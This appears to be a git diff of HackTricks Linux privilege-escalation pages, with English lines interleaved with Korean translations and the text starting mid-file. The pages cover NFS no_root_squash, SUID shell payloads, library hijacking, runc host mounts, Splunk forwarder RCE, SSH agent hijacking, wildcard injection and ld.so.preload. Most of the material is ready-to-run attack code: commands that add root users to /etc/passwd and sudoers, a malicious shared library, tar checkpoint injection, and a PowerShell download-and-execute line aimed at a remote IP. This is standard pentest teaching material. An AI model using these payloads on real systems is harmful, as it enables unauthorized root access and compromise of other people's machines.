gcc pwn.c -o a.out
```
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **익스플로잇을 공유에 배치하고 uid를 위조하여 권한을 수정합니다:**
2. **Place the exploit on the share and modify its permissions by faking the uid:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **루트 권한을 얻기 위해 익스플로잇을 실행합니다:**
```bash
/mnt/share/a.out
#root
```
3. **Execute the exploit to gain root privileges:**
```bash
/mnt/share/a.out
#root
```
## Bonus: NFShell for Stealthy File Access
Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues:
## 보너스: NFShell을 통한 은밀한 파일 접근
루트 접근이 얻어진 후, 소유권을 변경하지 않고(NFS 공유와의 상호작용에서 흔적을 남기지 않기 위해) Python 스크립트(nfsh.py)를 사용합니다. 이 스크립트는 접근하는 파일의 uid와 일치하도록 uid를 조정하여 권한 문제 없이 공유의 파일과 상호작용할 수 있게 합니다:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
@ -104,23 +97,20 @@ import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
```
Run like:
실행 예:
```bash
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,22 +1,19 @@
# Payloads to execute
# 실행할 페이로드
{{#include ../../banners/hacktricks-training.md}}
## Bash
## 배시
```bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
```
## C
```c
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
```
@ -27,9 +24,9 @@ int main(void){
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
setuid(getuid());
system("/bin/bash");
return 0;
}
```
@ -40,42 +37,38 @@ int main(){
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
```
## 권한 상승을 위한 파일 덮어쓰기
## Overwriting a file to escalate privileges
### 일반 파일
### Common files
- _/etc/passwd_에 비밀번호가 있는 사용자 추가
- _/etc/shadow_에서 비밀번호 변경
- _/etc/sudoers_에 사용자 추가
- 일반적으로 _/run/docker.sock_ 또는 _/var/run/docker.sock_에 있는 도커 소켓을 통해 도커 남용
- Add user with password to _/etc/passwd_
- Change password inside _/etc/shadow_
- Add user to sudoers in _/etc/sudoers_
- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_
### Overwriting a library
Check a library used by some binary, in this case `/bin/su`:
### 라이브러리 덮어쓰기
어떤 바이너리에서 사용되는 라이브러리를 확인합니다. 이 경우는 `/bin/su`:
```bash
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
```
In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\
So, check for functions of this library used by the **`su`** binary:
이 경우 `/lib/x86_64-linux-gnu/libaudit.so.1`를 가장해 보겠습니다.\
따라서 **`su`** 바이너리에서 사용되는 이 라이브러리의 함수를 확인하십시오:
```bash
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
```
The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.
기호 `audit_open`, `audit_log_acct_message`, `audit_log_acct_message``audit_fd`는 아마도 libaudit.so.1 라이브러리에서 온 것입니다. libaudit.so.1이 악성 공유 라이브러리에 의해 덮어쓰여지기 때문에, 이러한 기호는 새로운 공유 라이브러리에 존재해야 하며, 그렇지 않으면 프로그램이 기호를 찾을 수 없고 종료됩니다.
```c
#include<stdio.h>
#include<stdlib.h>
@ -102,34 +93,27 @@ void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
setuid(0);
setgid(0);
system("/bin/bash");
}
```
이제 단순히 **`/bin/su`**를 호출하면 루트로서 셸을 얻을 수 있습니다.
Now, just calling **`/bin/su`** you will obtain a shell as root.
## 스크립트
## Scripts
Can you make root execute something?
### **www-data to sudoers**
루트가 무언가를 실행하도록 할 수 있나요?
### **www-data를 sudoers에 추가**
```bash
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```
### **Change root password**
### **루트 비밀번호 변경**
```bash
echo "root:hacked" | chpasswd
```
### Add new root user to /etc/passwd
### /etc/passwd에 새로운 루트 사용자 추가
```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,10 @@
# RunC Privilege Escalation
# RunC 권한 상승
{{#include ../../banners/hacktricks-training.md}}
## Basic information
## 기본 정보
If you want to learn more about **runc** check the following page:
**runc**에 대해 더 알고 싶다면 다음 페이지를 확인하세요:
{{#ref}}
../../network-services-pentesting/2375-pentesting-docker.md
@ -12,22 +12,21 @@ If you want to learn more about **runc** check the following page:
## PE
If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**.
호스트에 `runc`가 설치되어 있다면 **호스트의 루트 / 폴더를 마운트하는 컨테이너를 실행할 수 있을지도 모릅니다**.
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
@ -37,8 +36,7 @@ mkdir rootfs
# The root folder is the one from the host
runc run demo
```
> [!CAUTION]
> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.
> 이것은 항상 작동하지 않을 수 있습니다. runc의 기본 작동 방식은 root로 실행하는 것이므로, 비특권 사용자로 실행하는 것은 단순히 작동할 수 없습니다(루트리스 구성 없이는). 루트리스 구성을 기본값으로 설정하는 것은 일반적으로 좋은 생각이 아닙니다. 루트리스 컨테이너 내부에는 루트리스 컨테이너 외부에는 적용되지 않는 몇 가지 제한이 있기 때문입니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,12 @@
{{#include ../../banners/hacktricks-training.md}}
# SELinux in Containers
# 컨테이너의 SELinux
[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[레드햇 문서의 소개 및 예시](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system.
Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`.
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)는 **레이블링** **시스템**입니다. 모든 **프로세스**와 모든 **파일** 시스템 객체는 **레이블**을 가지고 있습니다. SELinux 정책은 **프로세스 레이블이 시스템의 다른 모든 레이블과 함께 무엇을 할 수 있는지에 대한 규칙을 정의**합니다.
컨테이너 엔진은 **단일 제한된 SELinux 레이블**로 **컨테이너 프로세스**를 시작하며, 일반적으로 `container_t`를 사용하고, 그 다음 컨테이너 내부의 컨테이너를 `container_file_t`로 레이블을 설정합니다. SELinux 정책 규칙은 기본적으로 **`container_t` 프로세스가 `container_file_t`로 레이블된 파일만 읽고/쓰고/실행할 수 있다고 말합니다**. 만약 컨테이너 프로세스가 컨테이너를 탈출하여 호스트의 콘텐츠에 쓰려고 시도하면, 리눅스 커널은 접근을 거부하고 컨테이너 프로세스가 `container_file_t`로 레이블된 콘텐츠에만 쓸 수 있도록 허용합니다.
```shell
$ podman run -d fedora sleep 100
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
@ -15,9 +14,8 @@ $ podman top -l label
LABEL
system_u:system_r:container_t:s0:c647,c780
```
# SELinux 사용자
# SELinux Users
There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users.
정상 Linux 사용자 외에도 SELinux 사용자가 있습니다. SELinux 사용자는 SELinux 정책의 일부입니다. 각 Linux 사용자는 정책의 일환으로 SELinux 사용자에 매핑됩니다. 이를 통해 Linux 사용자는 SELinux 사용자에게 부여된 제한 및 보안 규칙과 메커니즘을 상속받을 수 있습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
{{#include ../../banners/hacktricks-training.md}}
## Socket binding example with Python
In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
## Python을 이용한 소켓 바인딩 예제
다음 예제에서는 **유닉스 소켓이 생성됩니다** (`/tmp/socket_test.s`) 그리고 **수신된 모든 것**은 `os.system`에 의해 **실행됩니다**. 이 예제가 실제 환경에서 발견되지 않을 것이라는 것을 알고 있지만, 이 예제의 목표는 유닉스 소켓을 사용하는 코드가 어떻게 생겼는지, 그리고 최악의 경우 입력을 어떻게 관리하는지를 보는 것입니다.
```python:s.py
import socket
import os, os.path
@ -11,34 +10,29 @@ import time
from collections import deque
if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")
os.remove("/tmp/socket_test.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
```
**Execute** the code using python: `python s.py` and **check how the socket is listening**:
**코드를 실행**하려면 python을 사용하세요: `python s.py` 그리고 **소켓이 어떻게 수신 대기하는지 확인하세요**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**Exploit**
**익스플로잇**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,52 +1,50 @@
# Splunk LPE and Persistence
# Splunk LPE 및 지속성
{{#include ../../banners/hacktricks-training.md}}
If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root.
기계 **내부** 또는 **외부**를 **열거**하는 동안 **Splunk가 실행 중**인 것을 발견하면(포트 8090), 운이 좋게도 **유효한 자격 증명**을 알고 있다면 **Splunk 서비스를 악용**하여 Splunk를 실행 중인 사용자로서 **쉘을 실행**할 수 있습니다. 만약 root가 실행 중이라면, root 권한으로 상승할 수 있습니다.
Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host.
또한 이미 root인 경우 Splunk 서비스가 localhost에서만 수신 대기하지 않는다면, Splunk 서비스에서 **비밀번호** 파일을 **훔치고** 비밀번호를 **크랙**하거나, **새로운** 자격 증명을 추가할 수 있습니다. 그리고 호스트에서 지속성을 유지할 수 있습니다.
In the first image below you can see how a Splunkd web page looks like.
아래 첫 번째 이미지에서 Splunkd 웹 페이지가 어떻게 생겼는지 볼 수 있습니다.
## Splunk Universal Forwarder Agent Exploit Summary
## Splunk Universal Forwarder Agent 취약점 요약
For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary:
자세한 내용은 [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) 게시물을 확인하세요. 이것은 요약입니다:
**Exploit Overview:**
An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network.
**취약점 개요:**
Splunk Universal Forwarder Agent (UF)를 대상으로 하는 취약점은 공격자가 에이전트 비밀번호를 사용하여 에이전트를 실행 중인 시스템에서 임의의 코드를 실행할 수 있게 하여 전체 네트워크를 위험에 빠뜨릴 수 있습니다.
**Key Points:**
**주요 사항:**
- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution.
- Common password acquisition methods include locating them in network directories, file shares, or internal documentation.
- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration.
- UF 에이전트는 수신 연결이나 코드의 진위를 검증하지 않아 무단 코드 실행에 취약합니다.
- 일반적인 비밀번호 획득 방법에는 네트워크 디렉토리, 파일 공유 또는 내부 문서에서 찾는 것이 포함됩니다.
- 성공적인 악용은 손상된 호스트에서 SYSTEM 또는 root 수준의 접근, 데이터 유출 및 추가 네트워크 침투로 이어질 수 있습니다.
**Exploit Execution:**
**취약점 실행:**
1. Attacker obtains the UF agent password.
2. Utilizes the Splunk API to send commands or scripts to the agents.
3. Possible actions include file extraction, user account manipulation, and system compromise.
1. 공격자가 UF 에이전트 비밀번호를 획득합니다.
2. Splunk API를 사용하여 에이전트에 명령이나 스크립트를 전송합니다.
3. 가능한 작업에는 파일 추출, 사용자 계정 조작 및 시스템 손상이 포함됩니다.
**Impact:**
**영향:**
- Full network compromise with SYSTEM/root level permissions on each host.
- Potential for disabling logging to evade detection.
- Installation of backdoors or ransomware.
**Example Command for Exploitation:**
- 각 호스트에서 SYSTEM/root 수준 권한으로 전체 네트워크가 손상됩니다.
- 탐지를 피하기 위해 로깅을 비활성화할 가능성.
- 백도어 또는 랜섬웨어 설치.
**악용을 위한 예제 명령:**
```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```
**Usable public exploits:**
**사용 가능한 공개 익스플로잇:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
## Abusing Splunk Queries
## Splunk 쿼리 악용
**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
**자세한 내용은 게시물 [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)를 확인하세요.**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,30 +1,26 @@
{{#include ../../banners/hacktricks-training.md}}
# Summary
What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this:
# 요약
`/etc/ssh_config` 또는 `$HOME/.ssh/config` 구성에서 다음을 발견하면 무엇을 할 수 있습니까:
```
ForwardAgent yes
```
기계 내부에서 루트 권한이 있는 경우, _/tmp_ 디렉토리에서 찾을 수 있는 **모든 에이전트가 만든 ssh 연결에 접근할 수 있습니다**.
If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory
Impersonate Bob using one of Bob's ssh-agent:
Bob의 ssh-agent 중 하나를 사용하여 Bob을 가장합니다:
```bash
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
```
## 왜 이게 작동할까요?
## Why does this work?
변수 `SSH_AUTH_SOCK`을 설정하면 Bob의 ssh 연결에 사용된 키에 접근하게 됩니다. 그런 다음, 그의 개인 키가 여전히 존재한다면(보통은 존재합니다), 이를 사용하여 어떤 호스트에도 접근할 수 있습니다.
When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it.
개인 키가 에이전트의 메모리에 암호화되지 않은 상태로 저장되기 때문에, 만약 당신이 Bob이지만 개인 키의 비밀번호를 모른다면, 여전히 에이전트에 접근하여 이를 사용할 수 있을 것입니다.
As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it.
또 다른 옵션은, 에이전트의 소유자와 root가 에이전트의 메모리에 접근하여 개인 키를 추출할 수 있다는 것입니다.
Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key.
# 긴 설명 및 악용
# Long explanation and exploitation
**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
**[원본 연구를 여기서 확인하세요](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,71 +2,59 @@
## chown, chmod
You can **indicate which file owner and permissions you want to copy for the rest of the files**
당신은 **나머지 파일에 대해 복사하고 싶은 파일 소유자와 권한을 지정할 수 있습니다**
```bash
touch "--reference=/my/own/path/filename"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
이것은 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(결합 공격)_을 사용하여 악용할 수 있습니다.\
자세한 정보는 [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)에서 확인하세요.
## Tar
**Execute arbitrary commands:**
**임의의 명령 실행:**
```bash
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
이것은 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar 공격)_을 사용하여 악용할 수 있습니다.\
자세한 내용은 [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)에서 확인하세요.
## Rsync
**Execute arbitrary commands:**
**임의의 명령 실행:**
```bash
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
```
```bash
touch "-e sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
이것은 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_을 사용하여 악용할 수 있습니다.\
자세한 정보는 [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)에서 확인하세요.
## 7z
In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:
**7z**에서는 `--``*` 앞에 사용하더라도(여기서 `--`는 다음 입력이 매개변수로 처리될 수 없음을 의미하므로 이 경우 파일 경로만 해당됨) 임의의 오류를 발생시켜 파일을 읽을 수 있습니다. 따라서 다음과 같은 명령이 root에 의해 실행되고 있다면:
```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```
And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read:
그리고 이 명령이 실행되는 폴더에 파일을 생성할 수 있으며, `@root.txt` 파일과 읽고 싶은 파일에 대한 **symlink**인 `root.txt` 파일을 생성할 수 있습니다:
```bash
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
```
그런 다음 **7z**가 실행되면 `root.txt`를 압축해야 할 파일 목록이 포함된 파일로 처리합니다(그것이 `@root.txt`의 존재가 나타내는 것입니다) 그리고 7z가 `root.txt`를 읽을 때 `/file/you/want/to/read`를 읽게 되며 **이 파일의 내용이 파일 목록이 아니기 때문에 오류를 발생시킵니다** 내용이 표시됩니다.
Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content.
_More info in Write-ups of the box CTF from HackTheBox._
_더 많은 정보는 HackTheBox의 CTF 박스 Write-ups에서 확인하세요._
## Zip
**Execute arbitrary commands:**
**임의의 명령 실행:**
```bash
zip name.zip files -T --unzip-command "sh -c whoami"
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,40 +1,36 @@
# Arbitrary File Write to Root
# 루트에 임의 파일 쓰기
{{#include ../../banners/hacktricks-training.md}}
### /etc/ld.so.preload
This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\
If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary.
For example: `echo "/tmp/pe.so" > /etc/ld.so.preload`
이 파일은 **`LD_PRELOAD`** 환경 변수처럼 작동하지만 **SUID 바이너리**에서도 작동합니다.\
이 파일을 생성하거나 수정할 수 있다면, 실행되는 각 바이너리와 함께 로드될 **라이브러리의 경로를 추가**할 수 있습니다.
예: `echo "/tmp/pe.so" > /etc/ld.so.preload`
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
### Git hooks
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**.
For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created:
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)는 git 리포지토리에서 커밋이 생성되거나 병합될 때와 같은 다양한 **이벤트**에서 **실행되는** **스크립트**입니다. 따라서 **특권 스크립트 또는 사용자**가 이러한 작업을 자주 수행하고 **`.git` 폴더**에 **쓰기**가 가능하다면, 이를 **privesc**에 사용할 수 있습니다.
예를 들어, git 리포지토리의 **`.git/hooks`**에 **스크립트**를 **생성**하여 새로운 커밋이 생성될 때마다 항상 실행되도록 할 수 있습니다:
```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```
### Cron & Time files
TODO
@ -45,6 +41,6 @@ TODO
### binfmt_misc
The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open.
`/proc/sys/fs/binfmt_misc`에 위치한 파일은 어떤 바이너리가 어떤 유형의 파일을 실행해야 하는지를 나타냅니다. TODO: 일반 파일 유형이 열릴 때 rev shell을 실행하기 위해 이를 악용할 요구 사항을 확인하십시오.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,17 +1,8 @@
# Useful Linux Commands
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
# 유용한 리눅스 명령어
{{#include ../../banners/hacktricks-training.md}}
## Common Bash
## 일반적인 Bash
```bash
#Exfiltration using Base64
base64 -w 0 file
@ -130,17 +121,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Bash for Windows
## 윈도우용 Bash
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
@ -160,9 +141,7 @@ python pyinstaller.py --onefile exploit.py
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
## 그렙스
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -242,9 +221,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
